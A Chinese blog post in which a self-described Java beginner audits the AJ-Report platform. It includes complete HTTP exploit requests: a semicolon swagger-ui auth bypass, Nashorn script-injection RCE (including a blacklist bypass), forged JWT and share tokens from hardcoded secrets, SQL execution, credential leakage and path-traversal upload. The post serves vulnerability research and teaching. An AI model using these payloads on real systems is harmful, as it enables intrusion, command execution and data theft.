以AJ-Report为例从0开始学习Java代码审计

记录一下一个之前没有正经审计过项目,基本没接触过java的新手如何根据有限的漏洞信息,尝试用不同的思路进行复现审计

前言

记录一下一个之前没有正经审计过项目,基本没接触过java的新手如何根据有限的漏洞信息,尝试用不同的思路进行复现审计

AJ-Report环境搭建

直接jar包启动?我不,我就要自己编译,装maven,测试执行mvn help:system的时候报了个error,意思大概就是下载失败,查了查大概是网络问题,换成阿里云的源还不行,自我怀疑了很久,后面发现是梯子的问题,关了就好了...

image-20241002171321250

maven是什么

好,第一个问题,maven是什么

Maven是一个Java项目管理和构建工具,它可以定义项目结构、项目依赖,并使用统一的方式进行自动化构建。

项目描述文件是pom.xml,存放Java源码的目录是src/main/java,存放资源文件的目录是src/main/resources,存放测试源码的目录是src/test/java,存放测试资源的目录是src/test/resources,所有编译、打包生成的文件都放在target目录里

image-20241003110205629

pom.xml里,groupId类似于Java的包名,artifactId类似于Java的类名,使用``声明一个依赖后,Maven就会自动下载这个依赖包并把它放到classpath中。Maven使用groupIdartifactIdversion唯一定位一个依赖,Maven从哪下载依赖呢,当然是镜像仓库。进入到pom.xml所在目录,执行mvn clean package即可在target目录下获得编译后自动打包的jar

image-20241003110621302

按照AJ-Report项目文档build的时候又报了个error,大概意思是要用JDK而不是JRE,所以改了改环境变量,顺便配置了一下多java环境,然后一切顺利

image-20241002173923075

一开始用IDEA导入项目源码发现很多import标红,比如com.anji.plus.gaea这些玩意,因为这个看着不像是公共依赖,我还以为是源码少,然后发现用maven编译完再jadx反编译的话就有com.anji.plus.gaea了,后面发现这其实就是公共依赖,maven自动索引从阿里云镜像库下载补齐,之后就好了

image-20241002181920373

如果是用IDEA导入jar包的话也可以,但是需要在项目结构里添加Libraries

image-20241003223527318

SpringBoot是什么

Spring Boot是一个基于Spring的套件,它帮我们预组装了Spring的一系列组件,以便以尽可能少的代码和配置来开发基于Spring的Java应用程序,其设计目的是用来简化Spring应用搭建和开发过程,提供一个开箱即用的应用程序架构,我们基于Spring Boot的预置结构继续开发。目前Java后端主流框架还有Struts 2、Hibernate、JavaServer Faces(JSF)、Vaadin、GWT、Play Framework和Vert.x等

具体看文档就好https://springdoc.cn/spring-boot/getting-started.html#getting-started

Tomcat是什么

SpringBoot默认的启动容器是Tomcat,大概就是spring-boot-starter-parent->spring-boot-dependencies->spring-boot-starter-web->spring-boot-starter-tomcat,Tomcat 的组成核心全部都通过 Maven 引入过来了,所以不需要额外安装Tomcat

https://javabetter.cn/springboot/tomcat.html

image-20241003125008109

Tomcat用来装载javaweb程序,可以称它为web容器,你的jsp/servlet程序需要运行在Web容器上,Web容器有很多种,JBoss、WebLogic等等,Tomcat是其中一种。web项目多数需要http协议,也就是基于请求和响应,那如何处理这个请求呢,他需要创建servlet来处理,servlet其实就是java程序,只是在服务器端的java程序servlet通过配置文件拦截你的请求,并进行相应处理,然后展示给你相应界面,那么servlet如何创建?tomcat就是帮助你创建servlet的东西。

一些IDEA使用技巧

动态调试

改完配置文件之后,不管是jar项目还是源码项目,用idea直接调试都连不上数据库,报错,看起来就是完全没连上,看着依赖什么的也没问题,很神奇

ERROR com.zaxxer.hikari.pool.HikariPool:593 - HikariPool-1 - Exception during pool initialization. com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure

image-20241003183838858

编译好之后命令行运行jar是没问题的,感觉跟IDEA有关系但是没有证据

image-20241003183920443

那只能试试远程调试了

image-20241003202614219

一开始断点没打上,忘了是因为啥了,反正最后好了,我把AJ-Report项目里启动jar包的bat脚本启动命令改成了:"%JAVA_HOME%"\bin\java -Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=50055 -Xbootclasspath/a:%LIB_JARS% -jar -Dspring.config.location=%CONF_YML% %BIN_DIR%\lib\%BOOT_JAR%,开始调试后socket会连上,之后访问web端进行相关请求来触发这个断点

image-20241003202558934

步过:一行一行的往下走,不会进入到其他方法的内部。
步入:如果当前行有方法执行,可以进入方法的内部(不会进入官方定义的方法,仅能进入自定义的方法)。
强制步入:如果当前行有方法执行,可以进入方法的内部(可以进入官方定义的方法,这在查看底层源码时非常有用)。
智能步入:如果当前行有多个方法同时被执行,IDEA 将会询问你要进入哪个方法。
步出:从步入的方法内执行完该方法,然后退出到方法调用处。

其他技巧

全局搜索

Ctrl+shift+F全局搜索,跟搜狗输入法快捷键冲突了,要先关掉输入法的快捷键

发现搜一样的东西,匹配数量经常会变,后来发现跟settings里配置的最大匹配数有关系,因为最大匹配数小于真正的数量,标绿色的是因为在代码里是字符串

image-20241002204907817

调用和层次结构

Alt+F7,查看一个Java类、方法或变量的直接使用情况

image-20241002212047094

调用层次结构

看哪个地方调用了getLanguage,比如这里就是Calendar.createCalendar调用了getLanguage,下一级就是Calendar.getInstance调用了createCalendar

image-20241002213039893

类型层次结构,每一个都是下一个的父类

image-20241002213924219

接下来开始正式审计

swagger-ui截断绕过

URL中有一个保留字符分号;,主要为参数进行分割使用,有时候是请求中传递的参数太多了,所以使用分号;将参数对(key=value)连接起来作为一个请求参数进⾏传递。

Tomcat在解析请求路径时,会自行修正路径,并使用修正后的路径来匹配对应的Servlet,然而,在路径需要修正的情况下,Tomcat自行修正后得到的URI路径跟使用getRequestURI方法得到的URI路径不一致,因而在我们去对请求路径做权限访问控制时,容易导致绕过。具体Tomcat的源码就不跟了(

payloadgetRequestURLgetRequestURIgetServletPath
/indexhttp://127.0.0.1:8081/index/index/index
/./indexhttp://127.0.0.1:8081/./index/./index/index
/.;/indexhttp://127.0.0.1:8081/.;/index/.;/index/index
/a/../indexhttp://127.0.0.1:8081/a/../index/a/../index/index
/a/..;/indexhttp://127.0.0.1:8081/a/..;/index/a/..;/index/index
/;/indexhttp://127.0.0.1:8081/;/index/;/index/index
/;a/indexhttp://127.0.0.1:8081/;a/index/;a/index/index
/%2e/indexhttp://127.0.0.1:8081/%2e/index/%2e/index/index
/inde%78http://127.0.0.1:8081/inde%78/inde%78/index

前置知识了解到这里,可以开始看源码了

如果直接访问后台接口的话,会返回{"code":"User.credentials.expired","message":"The Token has expired"}全局搜一下,定位到error方法

image-20241019203618306

验证Authorization和Share-Token,不通过的话调用error方法,都通过才能到filterChain.doFilter那里正常请求

image-20241020180342614

这里是使用getRequestURI来获取uri,所以可以用分号来绕过,如果uri包含swagger-ui直接放行,就不需要验证token那些了,直接/dataSetParam/verification;swagger-ui/这样即可

image-20241020171100386

validationRule参数任意命令执行

已知:该平台可以通过post方式在validationRules参数对应值中进行命令执行,可以获得服务器权限,登陆管理后台接管大屏。

所以我们要先找到validationRules参数在哪,通过全局搜索,来确定可疑的地方

image-20241019165129356

全局搜索validationRules,发现在这有个engine.eval(validationRules),eval大家都知道,就是一个命令执行的函数,虽然跟php里的eval不大一样,但是大概就是在verification方法这里执行了

看一下engine的声明,criptEngineManager 获取名为 "JavaScript" 的脚本引擎。在Java 8-15的版本中,默认情况下,"JavaScript" 引擎指的是 Nashorn 引擎。Nashorn 支持 JavaScript 与 Java 之间的互操作性,允许JavaScript代码调用Java类和方法。

image-20241019221324439

查看调用层次结构,发现有两个调用,所以有两个入口点,分别看一下

一个是com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification

另一个是com.anjiplus.template.gaea.business.modules.dataset.controller.DataSetController#testTransform

image-20241019220825464

所以这时候就有两个路子可以走了

入口点为verification

这里先跟第一个

image-20241019221154517

逻辑很简单,就是获取了两个参数的值,分别是SampleItem和ValidationRules

image-20241020105711805

所以我们需要构造SampleItem和ValidationRules参数,而且传入eval的是validationRules,所以payload是在validationRules里构造的

那怎么构造呢,先看一个示例

eval是可以执行脚本语言的,比如下面这样

import javax.script.*;

public class EvalScript {
    public static void main(String[] args) throws Exception {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("nashorn");

        // evaluate JavaScript code
        engine.eval("print('Hello, World')");
    }
}

但是这里并不是这种用法,源码里用到了Invocable接口,Invocable由 ScriptEngines 实现的可选接口,该 ScriptEngines 的方法允许在以前执行过的脚本中调用程序,看一个网上的示例,真正的执行是在invokeFunction那里调用了eval那里声明的hello函数

import javax.script.*;

public class InvokeScriptFunction {
    public static void main(String[] args) throws Exception {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("nashorn");

        // evaluate JavaScript code that defines a function with one parameter
        engine.eval("function hello(name) { print('Hello, ' + name) }");

        // create an Invocable object by casting the script engine object
        Invocable inv = (Invocable) engine;

        // invoke the function named "hello" with "Scripting!" as the argument
        inv.invokeFunction("hello", "Scripting!");
    }
}

所以我们可以照着示例里的样子构造一个函数,内容是java.lang.Runtime.getRuntime().exec之类的来执行命令,而且因为invokeFunction那里写死的是verification,所以我们构造的函数名也得是verification

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 406

{"sampleItem":"1","validationRules":"function verification(){\nvar x=java.lang.Runtime.getRuntime().exec(\"calc\")\n}"}

执行成功

image-20241020113518656

调试的时候发现一直是到这里才执行了calc命令,所以我们上面对于eval起到了一个类似于声明定义一个脚本的作用,最后通过Invocable接口的invokeFunction来调用这个脚本中的函数的分析没啥问题

image-20241020112832037

在调试中发现一个奇怪的现象,不管我方法名随便怎么写都正常执行了,跟之前“invocable.invokeFunction调用的函数名得是engine.eval的定义的函数”的说法不一样,但是本地自己写个简单demo结果就没问题

image-20241020114335158

后面调的时候突然发现了盲点,我执行的明明是whoami,怎么弹了个计算器,然后反应过来有可能是内存的原因,所以重启一下环境,这样就正常了

image-20241020000408291

打回显的话可以用网上的写法:

定义一个verification类,创建操作系统进程的类执行whoami并获取该进程的标准输出流,之后读取输入流然后返回,这样就有回显了

function verification(data){a = new java.lang.ProcessBuilder(\"whoami\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}

入口点为testTransform

下面跟第二个入口点,调用层次结构,大概触发流程是这样的

com.anjiplus.template.gaea.business.modules.dataset.controller.testTransform(DataSetTestTransformParam)----->com.anjiplus.template.gaea.business.modules.dataset.service.impl.testTransform(DataSetDto))----->com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.verification(List, Map)----->com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.verification(DataSetParamDto)

testTransform(DataSetTestTransformParam)是这样的

image-20241020125035871

跟一下这个DataSetTestTransformParam,定义了五个参数,三个string,两个list

image-20241020125132880

只需要构造这三个参数即可,注意他要从dynSentence里获取body的值,所以构造的时候要加上,其他的看定义都是strings

image-20241020130618117

再加上箭头这里的DataSetParamDtoList参数,虽然往后也需要获取DataSetTransformDtoList参数的值,但是到箭头这里就已经调用完成了,所以并不需要构造DataSetTransformDtoList参数

image-20241020131230084

DataSetParamDtoList参数的构造方法上一个入口点提过了,所以直接构造即可

image-20241020131840663

POST /dataSet/testTransform;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 610

{
  "sourceCode": 1,
  "dynSentence": "{'body':'1'}",
  "dataSetParamDtoList": [
    {
      "sampleItem": "",
      "validationRules": "function verification(){var x=java.lang.Runtime.getRuntime().exec(\"calc\")}"
    }
  ],
  "setType": "1"
}

1.4.1版本bypass

1.4.1版本中加了黑名单,对engine做了过滤,但是打了断点再用一开始payload打没反应

image-20241020162313880

跟一下getScriptEngine

image-20241020162606046

查了一下,大概作用是这样,就是不能用黑名单的类,也不能用反射

image-20241020162929301

用网上流传的payload打会这样

image-20241020161709875

网上查了一下java其他命令执行的方法好像都离不开黑名单里的这三个类和反射的样子,查到一种使用javax.script.ScriptEngineManager开命令执行的方法,感觉不大行但是作为小白还是想试试

public class EvalTest {
    public static void main(String[] args) throws ScriptException {
        Object result = new ScriptEngineManager().getEngineByExtension("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")");
        System.out.println(result);
    }
}

试了一下可以,但是为什么呢,这样执行命令本质不也是执行的java.lang.Runtime,不是把java.lang.Runtime过滤了吗,可能是因为套了一层javax.script.ScriptEngineManager,而java.lang.Runtime在第二层,classfilter那里只看第一层的类?

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 190

{
  "sampleItem": "1",
  "validationRules": "function verification(){var a= new javax.script.ScriptEngineManager().getEngineByExtension(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}"
}

image-20241020165339114

JWT身份认证绕过

已知:程序使用固定的 JWT 密钥,存储的 Redis 密钥使用用户名格式字符。 任何在一小时内登录的用户。 可以用他的用户名伪造 JWT Token 以绕过身份验证

我们可以知道这个是因为固定JWT秘钥导致的问题

假如swagger那里被修复了,那整个流程就会继续走,走到这再进行校验

image-20241020181028322

但是这里没啥,再往后看到GAEA_SECURITY_LOGIN_TOKEN那里,在这里获取了tokenkey,看一下调用

image-20241020182520555

看到有个createToken,跟一下

    public String createToken(String username, String uuid, Integer type, String tenantCode) {
        String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
        return token;
    }

看到有个getJwtSecret,获取jwt的秘钥,跟一下,应该就是这里了,是固定秘钥,这样就跟漏洞详情对上了

image-20241020182725722

有固定秘钥就说明我们可以伪造jwt,传入的值都知道了,uuid不知道,但是uuid好像没有参与校验

image-20241020183018789

根据固定的type和tenant,加上username=admin,再加上key

image-20241020183502909

可以看到加上伪造的Authorization之后通过了校验正常执行命令了

image-20241020183351162

但是还有一个问题

如果admin的token过期的话需要校验sharetoken

image-20241020184005562

而这个token有效期只有3600的时间,也就是一个小时以内,如果admin长时间没登过就不行了,所以我们还要想办法过一下这个shareToken的检测

image-20241020184033282

全局搜一下shareToken,只有两个设置sharetoken值的地方,都在reportshareserviceimpl里

image-20241020184617306

跟进,发现有个createtoken,注意这里正常的reportcode应该是uuid,String shareCode = UuidUtil.generateShortUuid();,后面应该是setShareUrl拼接上这个uuid变成一个分享链接,允许访问,如果把reportcode设置成/,那就可以正常访问所有的东西(看源码变量命名规则猜测是这样,没细调)

image-20241020184744846

跟进createtoken,发现还是硬编码+jwt,依然可以伪造

image-20241020184442407

时间戳设置晚一点

image-20241020190232389

可以看到一共有四个参数,根据createtoken的四个参数名,构造一下shareToken,其中时间戳设置的久一点,当然这里的参数也可以通过自己生成一个sharetoken看看参数名

image-20241020190600667

然后跟之前构造好的Authorization一起,成功执行

image-20241020190547959

Js参数任意命令执行

在搜索engine.eval的时候,发现还有一个js参数,跟validationRule类似,大概率也存在命令执行,但是可以看到这里js参数是来源于TransformScript参数的

image-20241019193921900

TransformScript参数来源于DataSetTransformDtoDataSetTransformDto之前有提到过,来源于testTransform(DataSetTestTransformParam)

image-20241022194003641

理论上这四个入口应该都可以

image-20241020200724558

入口点为testTransform

大概是这么个顺序

testTransform->transform->getValueFromJs

在这里进入transform

image-20241022194403217

然后再进入getValueFromJs执行js

image-20241022194428764

所以得想一下怎么构造参数能让程序执行到这一步,将断点打在这里

List transform = dataSetTransformService.transform(dto.getDataSetTransformDtoList(), data);

根据之前的方法构造,发现报了个错,说是apiurl为空,而且调试发现也没执行到上面这一步

image-20241022194933273

发现在上一行List data = dataSourceService.execute(dataSourceDto);这里断了,应该就是没有apiurl的原因

image-20241022195251232

根据报的错误apiurl not empty全局搜索

image-20241022195759172

构造的时候要注意header的格式,但是又报错了,说是数据源连接失败,所以这个apiurl得是能访问到的接口

image-20241022200104545

POST /dataSet/testTransform;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 615

{
  "dynSentence": "{'apiUrl':'http://127.0.0.1:9095/dataSet/testTransform','method':'GET','header':'{\\\"Content-Type\\\":\\\"application/json;charset=UTF-8\\\"}','body':''}",
  "dataSetParamDtoList": [
    {
      "paramName": "",
      "paramDesc": "",
      "paramType": "",
      "sampleItem": "",
      "mandatory": true,
      "requiredFlag": 2,
      "validationRules": ""
    }
  ],
  "dataSetTransformDtoList": [
    {
      "transformType": "js",
      "transformScript": "function dataTransform(){\nvarx=java.lang.Runtime.getRuntime().exec(\"calc\")\n}"
    }
  ],
  "setType": "http"
}

执行成功

image-20241022200222447

其他入口点

选了/reportDashboard/getData接口做入口点,跟到这发现一开始的DataSetDto没了,在detailSet里面弄一个新的,而我传入的setCode是随便写的,肯定是没有对应的result,所以下面getDynSentence这些肯定获取不到值,所以就断了。(也有可能可以先用哪个接口把DataSetDto跟setCode对应保存,再用getData接口重新获取到之前设置好的DataSetDto?感觉是可以的,但是不折腾了

    public DataSetDto detailSet(String setCode) {
        DataSetDto dto = new DataSetDto();
        DataSet result = selectOne("set_code", setCode);
        GaeaBeanUtils.copyAndFormatter(result, dto);
        return getDetailSet(dto, setCode);
    }

image-20241020215915058

SQL注入

testTransform接口

已知:CVE-2024-5356 is a newly disclosed critical vulnerability affecting anji-plus AJ-Report versions up to 1.4.1. This issue lies within an unknown function of the file /dataSet/testTransform;swagger-ui, where manipulation of the argument dynSentence enables SQL injection.

翻译一下就是/dataSet/testTransform接口存在SQL注入

找了一下这个接口,发现其实就是在后台有个执行SQL命令的地方,但是还是负责任的跟一下看看,这里有一个问题就是需要知道sourceCode才能执行到执行SQL那一步,而sourceCode是管理员添加数据源的时候设置的,通常情况下不好猜,我这里添加了一个数据源“123”

image-20241022191056936

数据包如下

POST /dataSet/testTransform;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 610

{"sourceCode":"123","dynSentence":"show DATABASES","dataSetParamDtoList":
[],"dataSetTransformDtoList":[],"setType":"sql"}

既然直接能猜到这个洞是怎么回事,那我们直接下个断点开始跟

核心还是进入dataSetsource.testTransform

image-20241022191701201

跟到这的时候发现这里也能获取到mysql的账号密码,应该是全局都没有做限制,算是个比较严重的问题吧

image-20241022192417727

最后是到originalDataDto这里返回了SQL执行的结果

image-20241022192717617

pageList接口

已知:受影响的是/pageList文件中的pageList函数。对参数p的操纵会导致sql注入。

(注入没测出来,最多算个数据库账号密码泄露吧

直接全局搜pageList,但是一开始搜pageList没搜到,应该是在其他jar包里,所以需要导入一下构建索引

image-20241021224331118

下的过程中会自动更新索引

image-20241021225140108

之后就可以搜到了

image-20241021225428756

首先我们需要再这里编辑上数据源

image-20241022183722195

找到pageList之后先看一下调用,将目标定位datasource,为什么是datasource呢,因为上面数据源也就是datasource

image-20241022184700145

我们在pageList那里下个断点,然后访问GET /;swagger-ui/datasource/pageList看看会怎么走,发现在这里就已经返回了mysql的账号密码,也就是我们配置好的信息,那我们得跟进去看看

image-20241022185502441

找到getrecords,定位到protected List records = Collections.emptyList();,在这里查询了数据列表,所以应该就是直接返回了dto所有信息导致的信息泄露

image-20241022190114038

最后返回的结果就是这样

image-20241022190458898

任意文件上传

已知:/reportDashboard @PostMapping("/import/{reportCode}") In the interface of importing the big screen, it accepts file uploads, does not limit the file suffix, and does not detect, filter and sterilize the file name, resulting in Arbitrary file upload vulnerability

大概就是/import/{reportCode}存在任意文件上传漏洞

全局搜索一下这个接口,是一个导入zip压缩包的地方,核心是importDashboard

image-20241022200628735

跟进importDashboard方法

image-20241022201121206

先用这个接口随便正常随便传个看看怎么个走法,经过测试这个接口就是导入功能,在这里

image-20241022215916512

调试发现是生成一个临时文件夹,然后把压缩包传到这个文件夹里面

image-20241022215415501

然后解压,解压完删除,解压失败的话就报错

image-20241022215502520

但是因为解压失败了,所以也没有执行删除,导致这个文件被留盘了

image-20241022215541120

如果有目录遍历的话就可以把文件传到我们想要的目录,回头看这里获取了文件名并且进行了拼接,而且原来拼接的路径里就有.\

image-20241022215759933

试一下,成功穿越目录上传

image-20241022220229307

image-20241022220412506

POST /reportDashboard/import/123;swagger-ui/ HTTP/1.1
Host: 127.0.0.1:9095
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hFWIxGnbfxoTaDz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary7hFWIxGnbfxoTaDz
Content-Disposition: form-data; name="file"; filename="../../../../flag.txt"
Content-Type: application/zip

test123
------WebKitFormBoundary7hFWIxGnbfxoTaDz--
  • 发表于 2024-11-13 10:00:01
  • 阅读 ( 31812 )
  • 分类:漏洞分析

3 条评论

c铃儿响叮当
大佬写的太好了,图怎么没水印
请先 登录 后评论
热心市民箐璇
求pycharm苦逼打工人背景图
请先 登录 后评论
sp0ce
师傅,想请问一下com.anji.plus.gaea.*.module.*.dao 这个飘红,您是怎么解决的呀
请先 登录 后评论
请先 登录 后评论
mon0dy
mon0dy

12 篇文章

站长统计